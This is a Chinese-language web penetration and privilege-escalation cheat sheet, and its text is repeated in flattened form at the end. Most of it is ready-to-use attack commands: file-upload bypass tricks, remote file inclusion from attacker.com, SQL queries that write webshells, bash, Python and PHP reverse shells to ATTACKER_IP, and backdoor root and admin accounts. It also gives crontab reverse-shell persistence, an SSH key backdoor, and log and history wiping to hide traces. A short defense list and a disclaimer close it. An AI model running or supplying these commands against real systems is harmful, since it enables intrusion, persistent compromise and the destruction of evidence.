Web安全-渗透提权思路
字数 1078 2025-08-09 22:16:00

Web安全渗透提权思路详解

1. Webshell获取方法

1.1 直接上传Webshell

  • 常见上传点

    • 文件上传功能(头像、附件、图片等)
    • 后台管理系统的插件/模板上传
    • 第三方组件(如编辑器)的文件上传功能
  • 绕过技巧

    • 修改Content-Type为合法类型(如image/jpeg)
    • 双扩展名绕过(如shell.php.jpg)
    • 大小写变异(如sHell.PhP)
    • 空字节截断(如shell.php%00.jpg)
    • 特殊字符(如shell.php.)
    • 文件头伪造(添加GIF89a等合法文件头)

1.2 利用文件包含漏洞

  • 本地文件包含(LFI)

    http://target.com/index.php?page=../../uploads/shell.jpg
    
  • 远程文件包含(RFI)

    http://target.com/index.php?page=http://attacker.com/shell.txt
    

1.3 数据库写入Webshell

  • MySQL写入

    SELECT '<?php @eval($_POST["cmd"]);?>' INTO OUTFILE '/var/www/html/shell.php'
    
  • MSSQL写入

    EXEC sp_makewebtask 'C:\inetpub\wwwroot\shell.asp', '<?%execute(request("cmd"))%>'
    

2. 反弹Shell技术

2.1 常用反弹Shell命令

  • Bash反弹

    bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
    
  • Python反弹

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
  • PHP反弹

    <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'");?>
    

2.2 文件上传反弹Shell

  1. 上传包含反弹Shell代码的文件
  2. 访问该文件触发执行
  3. 本地监听对应端口:
    nc -lvnp PORT
    

3. 漏洞利用提权

3.1 系统漏洞提权

  • 内核漏洞

    • Dirty Cow (CVE-2016-5195)
    • Sudo提权漏洞 (CVE-2021-3156)
    • Polkit提权漏洞 (CVE-2021-4034)
  • 利用方法

    # 查找可用exp
    find / -name "*exp*" -type f 2>/dev/null
    # 上传并编译exp
    gcc exploit.c -o exploit
    chmod +x exploit
    ./exploit
    

3.2 服务器软件漏洞

  • Web服务器漏洞

    • Apache Mod_CGI提权
    • Nginx解析漏洞
    • IIS 6.0远程代码执行
  • 中间件漏洞

    • Tomcat WAR部署漏洞
    • WebLogic反序列化漏洞
    • JBoss JMXInvokerServlet反序列化

3.3 第三方软件漏洞

  • 数据库提权

    • MySQL UDF提权
    • MSSQL xp_cmdshell
    • PostgreSQL命令执行
  • 其他服务

    • Redis未授权访问
    • Memcached未授权访问
    • Elasticsearch Groovy沙箱绕过

4. 权限维持技术

4.1 后门账户创建

  • Linux系统

    useradd -o -u 0 -g 0 -M -d /root -s /bin/bash backdoor
    echo "backdoor:password" | chpasswd
    
  • Windows系统

    net user backdoor Password123! /add
    net localgroup administrators backdoor /add
    

4.2 定时任务维持

  • Linux crontab

    (crontab -l;echo "*/5 * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")|crontab -
    
  • Windows计划任务

    schtasks /create /tn "Update" /tr "C:\shell.exe" /sc minute /mo 5 /ru SYSTEM
    

4.3 SSH密钥后门

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E..." >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

5. 痕迹清理

5.1 Linux系统清理

# 清除命令历史
history -c
echo "" > ~/.bash_history

# 修改文件时间戳
touch -r /etc/passwd webshell.php

5.2 Windows系统清理

# 清除事件日志
wevtutil cl system
wevtutil cl application
wevtutil cl security

6. 防御措施

  1. 及时更新系统和应用补丁
  2. 限制文件上传类型和目录执行权限
  3. 禁用危险函数(如exec、system等)
  4. 配置严格的访问控制
  5. 定期审计系统账户和权限
  6. 部署Web应用防火墙(WAF)
  7. 监控异常网络连接和进程

以上内容为渗透测试技术研究用途,请勿用于非法活动。

Web安全渗透提权思路详解 1. Webshell获取方法 1.1 直接上传Webshell 常见上传点 : 文件上传功能(头像、附件、图片等) 后台管理系统的插件/模板上传 第三方组件(如编辑器)的文件上传功能 绕过技巧 : 修改Content-Type为合法类型(如image/jpeg) 双扩展名绕过(如shell.php.jpg) 大小写变异(如sHell.PhP) 空字节截断(如shell.php%00.jpg) 特殊字符(如shell.php.) 文件头伪造(添加GIF89a等合法文件头) 1.2 利用文件包含漏洞 本地文件包含(LFI) : 远程文件包含(RFI) : 1.3 数据库写入Webshell MySQL写入 : MSSQL写入 : 2. 反弹Shell技术 2.1 常用反弹Shell命令 Bash反弹 : Python反弹 : PHP反弹 : 2.2 文件上传反弹Shell 上传包含反弹Shell代码的文件 访问该文件触发执行 本地监听对应端口: 3. 漏洞利用提权 3.1 系统漏洞提权 内核漏洞 : Dirty Cow (CVE-2016-5195) Sudo提权漏洞 (CVE-2021-3156) Polkit提权漏洞 (CVE-2021-4034) 利用方法 : 3.2 服务器软件漏洞 Web服务器漏洞 : Apache Mod_ CGI提权 Nginx解析漏洞 IIS 6.0远程代码执行 中间件漏洞 : Tomcat WAR部署漏洞 WebLogic反序列化漏洞 JBoss JMXInvokerServlet反序列化 3.3 第三方软件漏洞 数据库提权 : MySQL UDF提权 MSSQL xp_ cmdshell PostgreSQL命令执行 其他服务 : Redis未授权访问 Memcached未授权访问 Elasticsearch Groovy沙箱绕过 4. 权限维持技术 4.1 后门账户创建 Linux系统 : Windows系统 : 4.2 定时任务维持 Linux crontab : Windows计划任务 : 4.3 SSH密钥后门 5. 痕迹清理 5.1 Linux系统清理 5.2 Windows系统清理 6. 防御措施 及时更新系统和应用补丁 限制文件上传类型和目录执行权限 禁用危险函数(如exec、system等) 配置严格的访问控制 定期审计系统账户和权限 部署Web应用防火墙(WAF) 监控异常网络连接和进程 以上内容为渗透测试技术研究用途,请勿用于非法活动。